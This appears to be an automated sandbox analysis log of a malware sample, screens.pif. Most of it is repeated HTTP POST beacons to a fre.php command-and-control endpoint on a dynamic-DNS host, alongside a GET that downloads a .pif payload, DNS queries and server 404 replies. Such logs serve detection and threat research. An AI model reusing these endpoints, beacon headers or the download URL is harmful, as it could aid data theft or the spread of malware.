Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00404ED4 recv, 5_2_00404ED4
Source: global traffic HTTP traffic detected: GET /flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif HTTP/1.1Host: www.sodiumlaurethsulfatedesyroyer.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: www.sodiumlaurethsulfatedesyroyer.com
Source: global traffic DNS traffic detected: DNS query: freighteighttwocam.ddns.net
Source: unknown HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 172Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:47 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:47 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:55 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:56 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:58 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:20:59 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:01 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:03 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:03 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:04 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:05 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:21:06 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
